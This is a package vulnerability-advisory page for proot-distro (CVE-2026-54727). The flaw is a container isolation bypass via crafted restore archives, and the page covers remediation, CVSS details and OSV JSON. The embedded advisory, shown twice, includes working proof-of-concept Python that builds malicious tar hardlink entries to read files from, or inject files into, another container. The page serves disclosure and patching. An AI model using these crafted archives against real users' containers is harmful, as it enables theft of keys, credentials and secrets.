Vulnerabilities in pkg:pypi/proot-distro

PACKAGE
Advisory Identifier: GHSA-7h3g-4w2f-fj2f
Advisory Summary

CVE-2026-54727 is a HIGH (CVSS 8.2) proot-distro has a container isolation vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting Proot distro libraries in the PyPI ecosystem. The issue involves proot-distro has a container isolation bypass via crafted restore archive. Remediation is available by upgrading affected packages to version 5.1.6.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/proot-distro

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/proot-distro. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-7h3g-4w2f-fj2f CVE-2026-54727 HIGH proot-distro has a Container Isolation Bypass via Crafted Restore Archive
GHSA-9xq3-3fqg-4vg7 CVE-2026-54574 HIGH `proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
GHSA-mfr4-mq8w-vmg6 - MODERATE PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

CVE-2026-54727 at a Glance

CVE Identifier CVE-2026-54727
GHSA Identifier GHSA-7h3g-4w2f-fj2f
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product Proot distro
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54727

To remediate this vulnerability, upgrade all affected Proot distro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

proot-distro fixed: 5.1.6
pip install proot-distro>=5.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show proot-distro

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-54727, inspect your installed packages using pip:

pip show proot-distro

Analyze the terminal output to locate any version of Proot distro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.6), your application is affected.

Note: The pip show proot-distro command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In Proot distro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Affected Component - **Package:** proot-distro - **Affected command:** `restore` - **Attack surface:** Host-side Termux CLI processing a user-supplied backup archive - **Vulnerability type:** Container Isolation Bypass / Cross-Container Read and Write --- ## Affected Versions | Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 | --- ## Summary When restoring a crafted backup archive, `proot-distro restore` accepts hardlink entries whose source path references a different installed container. The restore logic resolves the hardlink source from the archive's `linkname` field and copies the referenced file into the container identified by the archive entry. Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container. As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection. --- ## Proof of Concept #1 — Cross-Container File Disclosure All testing was performed using self-owned containers and harmless marker data only. ### Step 1 — Create a victim container and marker file ```bash proot-distro install alpine --name victim proot-distro login victim -- sh -lc ' mkdir -p /root printf "PROOF-12345\n" > /root/proof.txt ' ``` Verification: ``` proot-distro login victim -- cat /root/proof.txt PROOF-12345 ``` --- ### Step 2 — Create an attacker container ```bash proot-distro install alpine --name attacker ``` --- ### Step 3 — Build a crafted archive ```python python3 -c ' import tarfile tf = tarfile.open("malicious.tar", "w") d = tarfile.TarInfo("attacker/rootfs/exfil") d.type = tarfile.DIRTYPE d.mode = 0o755 tf.addfile(d) h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key") h.type = tarfile.LNKTYPE h.linkname = "victim/rootfs/root/proof.txt" h.mode = 0o600 tf.addfile(h) tf.close() ' ``` --- ### Step 4 — Restore the crafted archive ```bash proot-distro restore ./malicious.tar ``` --- ### Step 5 — Read the copied file from the attacker container ```bash proot-distro run attacker -- cat /exfil/stolen_key ``` Observed output: ``` PROOF-12345 ``` This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive. --- ## Proof of Concept #2 — Cross-Container File Injection ### Step 1 — Create attacker-controlled source data ```bash proot-distro install alpine --name attacker proot-distro login attacker -- sh -lc ' mkdir -p /root printf "ATTACKER_DATA\n" > /root/source.txt ' ``` --- ### Step 2 — Create a victim container ```bash proot-distro install alpine --name victim ``` --- ### Step 3 — Build a crafted archive ```python python3 -c ' import tarfile tf = tarfile.open("write_test.tar", "w") h = tarfile.TarInfo( "victim/rootfs/root/copied_from_attacker.txt" ) h.type = tarfile.LNKTYPE h.linkname = "attacker/rootfs/root/source.txt" h.mode = 0o600 tf.addfile(h) tf.close() ' ``` --- ### Step 4 — Restore the crafted archive ```bash proot-distro restore ./write_test.tar ``` --- ### Step 5 — Verify file injection into the victim container ```bash cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt" ``` Observed output: ``` ATTACKER_DATA ``` This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive. --- ## Impact An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers. Observed impacts include: - Disclosure of files from other installed containers. - Injection of attacker-controlled files into other installed containers. - Exposure of SSH private keys. - Exposure of API credentials. - Exposure of configuration files containing secrets. - Exposure of application databases stored inside container rootfs directories. The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers. --- ## Root Cause During hardlink processing, the restore implementation resolves the source container from the archive's `linkname` field. The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored. As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation. --- ## Proposed Fix ```python link_container, link_src = _dest_path(member.linkname) if link_src is None: continue if link_container != container_name: continue link_src = _safe_dest( link_container, link_src, follow_final=True ) ``` This preserves existing path traversal protections while restoring the expected isolation boundary between containers. --- ## Additional Notes - Issue reproduced on the official Termux package repository. - No root access was used. - No third-party data was accessed. - Testing used only self-owned containers and harmless marker data. - Cross-container disclosure reproduced using the marker value `PROOF-12345`. - Cross-container file injection reproduced using the marker value `ATTACKER_DATA`.

CVE-2026-54727 Affected Proot distro Versions

1 component(s)
Fixed Versions:
5.1.6
Product / Package Ecosystem Affected Versions Fixed Version
proot-distro
PyPI
< 5.1.6
5.1.6

References

Frequently Asked Questions

What is CVE-2026-54727?
CVE-2026-54727 is a security vulnerability in Proot distro involving proot-distro has a Container Isolation Bypass via Crafted Restore Archive under CWE-668: Exposure of Resource to Wrong Sphere.
Which Proot distro versions are affected?
Affected versions include releases prior to 5.1.6 across affected packages: proot-distro.
What version fixes CVE-2026-54727?
Upgrading to 5.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is proot-distro affected?
Yes, proot-distro is affected in releases prior to 5.1.6. Upgrade your dependency to 5.1.6 or later.
What is the CVSS score of CVE-2026-54727?
CVE-2026-54727 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-54727?
CVE-2026-54727 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check PyPI dependencies for CVE-2026-54727?
Run the dependency tree command: 'pip show proot-distro'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7h3g-4w2f-fj2f",
  "modified" : "2026-07-29T16:42:11Z",
  "published" : "2026-07-29T16:42:11Z",
  "aliases" : [ "CVE-2026-54727" ],
  "summary" : "proot-distro has a Container Isolation Bypass via Crafted Restore Archive",
  "details" : "## Affected Component\n\n- **Package:** proot-distro\n- **Affected command:** `restore`\n- **Attack surface:** Host-side Termux CLI processing a user-supplied backup archive\n- **Vulnerability type:** Container Isolation Bypass / Cross-Container Read and Write\n\n---\n\n## Affected Versions\n\n| Component | Version |\n|---|---|\n| proot-distro | 5.1.5 (confirmed affected) |\n| Test distro | Alpine Linux |\n| Architecture | aarch64 |\n| Device | Samsung Galaxy A23 |\n| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |\n\n---\n\n## Summary\n\nWhen restoring a crafted backup archive, `proot-distro restore` accepts hardlink entries whose source path references a different installed container.\n\nThe restore logic resolves the hardlink source from the archive's `linkname` field and copies the referenced file into the container identified by the archive entry.\n\nAlthough path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.\n\nAs a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.\n\n---\n\n## Proof of Concept #1 — Cross-Container File Disclosure\n\nAll testing was performed using self-owned containers and harmless marker data only.\n\n### Step 1 — Create a victim container and marker file\n\n```bash\nproot-distro install alpine --name victim\n\nproot-distro login victim -- sh -lc '\nmkdir -p /root\nprintf \"PROOF-12345\\n\" > /root/proof.txt\n'\n```\n\nVerification:\n\n```\nproot-distro login victim -- cat /root/proof.txt\n\nPROOF-12345\n```\n\n---\n\n### Step 2 — Create an attacker container\n\n```bash\nproot-distro install alpine --name attacker\n```\n\n---\n\n### Step 3 — Build a crafted archive\n\n```python\npython3 -c '\nimport tarfile\n\ntf = tarfile.open(\"malicious.tar\", \"w\")\n\nd = tarfile.TarInfo(\"attacker/rootfs/exfil\")\nd.type = tarfile.DIRTYPE\nd.mode = 0o755\ntf.addfile(d)\n\nh = tarfile.TarInfo(\"attacker/rootfs/exfil/stolen_key\")\nh.type = tarfile.LNKTYPE\nh.linkname = \"victim/rootfs/root/proof.txt\"\nh.mode = 0o600\ntf.addfile(h)\n\ntf.close()\n'\n```\n\n---\n\n### Step 4 — Restore the crafted archive\n\n```bash\nproot-distro restore ./malicious.tar\n```\n\n---\n\n### Step 5 — Read the copied file from the attacker container\n\n```bash\nproot-distro run attacker -- cat /exfil/stolen_key\n```\n\nObserved output:\n\n```\nPROOF-12345\n```\n\nThis demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.\n\n---\n\n## Proof of Concept #2 — Cross-Container File Injection\n\n### Step 1 — Create attacker-controlled source data\n\n```bash\nproot-distro install alpine --name attacker\n\nproot-distro login attacker -- sh -lc '\nmkdir -p /root\nprintf \"ATTACKER_DATA\\n\" > /root/source.txt\n'\n```\n\n---\n\n### Step 2 — Create a victim container\n\n```bash\nproot-distro install alpine --name victim\n```\n\n---\n\n### Step 3 — Build a crafted archive\n\n```python\npython3 -c '\nimport tarfile\n\ntf = tarfile.open(\"write_test.tar\", \"w\")\n\nh = tarfile.TarInfo(\n    \"victim/rootfs/root/copied_from_attacker.txt\"\n)\n\nh.type = tarfile.LNKTYPE\nh.linkname = \"attacker/rootfs/root/source.txt\"\nh.mode = 0o600\n\ntf.addfile(h)\ntf.close()\n'\n```\n\n---\n\n### Step 4 — Restore the crafted archive\n\n```bash\nproot-distro restore ./write_test.tar\n```\n\n---\n\n### Step 5 — Verify file injection into the victim container\n\n```bash\ncat \"$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt\"\n```\n\nObserved output:\n\n```\nATTACKER_DATA\n```\n\nThis demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.\n\n---\n\n## Impact\n\nAn attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.\n\nObserved impacts include:\n\n- Disclosure of files from other installed containers.\n- Injection of attacker-controlled files into other installed containers.\n- Exposure of SSH private keys.\n- Exposure of API credentials.\n- Exposure of configuration files containing secrets.\n- Exposure of application databases stored inside container rootfs directories.\n\nThe issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.\n\n---\n\n## Root Cause\n\nDuring hardlink processing, the restore implementation resolves the source container from the archive's `linkname` field.\n\nThe resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.\n\nAs a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.\n\n---\n\n## Proposed Fix\n\n```python\nlink_container, link_src = _dest_path(member.linkname)\n\nif link_src is None:\n    continue\n\nif link_container != container_name:\n    continue\n\nlink_src = _safe_dest(\n    link_container,\n    link_src,\n    follow_final=True\n)\n```\n\nThis preserves existing path traversal protections while restoring the expected isolation boundary between containers.\n\n---\n\n## Additional Notes\n\n- Issue reproduced on the official Termux package repository.\n- No root access was used.\n- No third-party data was accessed.\n- Testing used only self-owned containers and harmless marker data.\n- Cross-container disclosure reproduced using the marker value `PROOF-12345`.\n- Cross-container file injection reproduced using the marker value `ATTACKER_DATA`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "proot-distro"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.1.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.1.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/termux/proot-distro"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/releases/tag/v5.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-668" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-29T16:42:11Z",
    "nvd_published_at" : null
  }
}